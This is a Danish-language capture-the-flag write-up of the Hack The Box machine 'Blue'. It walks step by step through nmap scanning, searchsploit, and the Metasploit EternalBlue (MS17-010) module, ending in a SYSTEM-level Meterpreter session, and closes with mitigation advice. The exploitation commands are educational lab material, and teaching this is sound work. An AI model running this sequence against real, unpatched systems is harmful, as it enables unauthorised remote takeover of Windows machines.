Bliv rolig og hack kassen - blå

Hack The Box (HTB) er en online platform, der giver dig mulighed for at teste dine færdigheder til penetrationstest.

Den indeholder flere udfordringer, der konstant opdateres. Nogle af dem simulerer virkelige verdensscenarier, og nogle af dem læner sig mere mod en CTF-stil med udfordring.

Bemærk : Kun opskrivninger af pensionerede HTB-maskiner er tilladt.

Blå er en af ​​de enkleste maskiner på Hack The Box. Men det demonstrerer virkningen af ​​EternalBlue-udnyttelsen, som er blevet brugt til at kompromittere virksomheder gennem store ransomware- og krypto-mineangreb.

Vi bruger følgende værktøjer til at pantsætte kassen på en Kali Linux-kasse:

  • nmap
  • searchsploit
  • metasploit
  • meterpreter

Lad os komme igang.

Først tilføjer jeg blå på filen / etc / hosts.

nano /etc/hosts

med

10.10.10.40 blue.htb

Trin 1 - Rekognoscering

Det første trin inden udnyttelse af en maskine er at lave en lille smule scanning og rekognoscering.

Dette er en af ​​de vigtigste dele, da det bestemmer, hvad du kan prøve at udnytte bagefter. Det er altid bedre at bruge mere tid på denne fase for at få så meget information som muligt.

Port scanning

Jeg bruger Nmap (Network Mapper). Nmap er et gratis og open source-værktøj til netværksopdagelse og sikkerhedsrevision.

Det bruger rå IP-pakker til at bestemme, hvilke værter der er tilgængelige på netværket, hvilke tjenester disse værter tilbyder, hvilke operativsystemer de kører, hvilken type pakkefiltre / firewalls der er i brug og snesevis af andre egenskaber.

Der er mange kommandoer, du kan bruge med dette værktøj til at scanne netværket. Hvis du vil lære mere om det, kan du se på dokumentationen her.

Jeg bruger følgende kommando til at udføre en intensiv scanning:

nmap -A -v blue.htb

-A: Aktiverer OS-detektion, versionsdetektering, script-scanning og traceroute

-v: Forøger niveauet af bredde

blå .htb: værtsnavn for det blå felt

Hvis du finder resultaterne lidt for overvældende, kan du prøve dette:

nmap blue.htb

Vi kan se, at der er en hel række åbne porte, herunder:

Port 445, Microsoft-DS (Directory Services) SMB-fildeling

Fra nmap-scanningen har vi nogle oplysninger om computernavnet (haris-PC) og SMB-versionen (2.02).

Server Message Block (SMB) er en netværksprotokol, der gør det muligt for brugere at kommunikere med eksterne computere og servere for at kunne bruge deres ressourcer eller dele, åbne og redigere filer.

Fra navnet på denne boks, og at det er en Windows-maskine med port 445 åbnet, kan vi antage, at maskinen er sårbar over for EternalBlue. Jeg bruger et nmap-script til at bekræfte disse oplysninger med følgende:

nmap --script vuln -p 445 blue.htb

Vi kan se, at feltet er sårbart over for en sårbarhed med fjernudførelse af kode i Microsoft SMBv1-servere (ms17-010).

Trin 2 - Forståelse af ms17-010

Hvad er MS17-010?

EternalBlue er en cyberattack-udnyttelse udviklet af US National Security Agency (NSA). Det lækkede af Shadow Brokers hacker-gruppen den 14. april 2017, en måned efter at Microsoft frigav patches for sårbarheden - Wikipedia

Du kan læse mere her. Denne sårbarhed blev opdateret og er angivet på Microsofts sikkerhedsbulletin som MS17-010.

EternalBlue giver hackere mulighed for at udføre vilkårlig kode eksternt for at få adgang til et netværk. Det udnytter en sårbarhed i Windows OS SMB-protokollen. Udnyttelsen kan kompromittere hele netværket og de enheder, der er forbundet til det.

Malware, der bruger EternalBlue, kan spredes på tværs af netværk. I 2017 brugte WannaCry - en crypto-ransomware - EternalBlue-udnyttelsen, der spredte sig over hele netværket og inficerede alle tilsluttede enheder.

Trin 3 - Udnyttelse af EternalBlue

Jeg bruger Searchsploit til at kontrollere, om der er nogen kendt udnyttelse. Searchsploit er et kommandolinjesøgeværktøj til Exploit Database.

Jeg bruger følgende kommando:

searchsploit eternalblue

Jeg kan få flere detaljer om en udnyttelse med:

searchsploit -x 41738.py

Du kan også kontrollere Exploit Database for at finde den udnytte.

Der er et Metasploit-modul til rådighed.

Vi bruger Metasploit , som er en penetrationstest-ramme, der gør hacking enkel. Det er et vigtigt redskab for mange angribere og forsvarere.

Jeg starter Metasploit Framework på Kali og ser efter den kommando, jeg skal bruge til udnyttelsen.

Glem ikke at opdatere Metasploit, når du starter den med denne kommando:

msfupdate

Du kan også kontrollere, om målet er sårbart over for EternalBlue på Metasploit ved hjælp af en hjælpestøtte. Start med denne kommando:

search eternalblue

så i så fald

use 1

at vælge

auxiliary/scanner/smb/smb_ms17_010

Du kan kontrollere indstillingerne med

show options

og indstil RHOSTS med

set RHOSTS blue.htb

Kør derefter hjælpe med

run

Du kan se, at værten sandsynligvis er sårbar over for MS17-010!

Lad os nu kontrollere udnyttelsen med

use 2

eller kommandoen

exploit/windows/smb/ms17_010_eternalblue

Vi er nødt til at indstille mulighederne for RHOSTS

og LHOST - min var 10.10.14.24. Du bliver nødt til at konfigurere det med din egen LHOST. Du kan tjekke din her.

Inden du kører exploit, kan du kontrollere her, om maskinen er sårbar - dette kører den hjælp, vi brugte tidligere med kommandoen

check

Jeg kører derefter udnyttelsen med

run

Udnyttelsen måtte løbe flere gange, før jeg fik en Meterpreter- session.

Her er definitionen af ​​Meterpreter fra Offensive Security:

Meterpreter er en avanceret, dynamisk udvidelig nyttelast, der bruger in-memory DLL-injektionsstager og udvides over netværket ved kørsel. Det kommunikerer via staging-soklen og giver en omfattende Ruby API på klientsiden. Den har kommandoerhistorik, faneblad, kanaler og mere.

Du kan læse mere om Meterpreter her.

Lad os starte med at samle nogle oplysninger.

getuid returnerer opkaldsprocessens reelle bruger-id.

NT Authority \ SYSTEM- eller LocalSystem-konto er en indbygget Windows-konto. Det er den mest magtfulde konto i en lokal lokal Windows-instans. Vi har administratoradgang på den maskine.

Trin 4 - På udkig efter flagget user.txt

Jeg navigerer til haris- mappen fra Dokumenter og indstillinger .

Jeg kan liste alle filer / mapper med følgende kommando:

ls -la

Jeg flytter derefter til skrivebordet med

cd Desktop

Og jeg finder brugerflagget! Jeg kan kontrollere indholdet af filen med

cat user.txt

Trin 5 - Leder du efter root.txt-flagget

Lad os finde rodflagget nu. Jeg navigerer op til Brugere og tjekker ind i mappen Administrator / Desktop . Jeg finder flaget!

Jeg bruger følgende kommando til at se indholdet af filen:

cat root.txt

Tillykke! Du fandt begge flag.

Afhjælpning

  • Patch dine enheder med sikkerhedsopdateringen til Microsoft Windows SMB v1. Du kan tjekke Microsofts sikkerhedsbulletin for at se, hvilke operativsystemer der er berørt
  • Deaktiver SMB v1, og brug SMB v2 eller v3
  • Anvend princippet om mindst privilegium på alle dine systemer og tjenester

Tøv ikke med at kommentere, stille spørgsmål eller dele med dine venner :)

Du kan se flere artikler fra serien Keep Calm and Hack the Box her.

Du kan følge mig på Twitter eller på LinkedIn.

Og glem ikke at # GetSecure , # BeSecure & # StaySecure !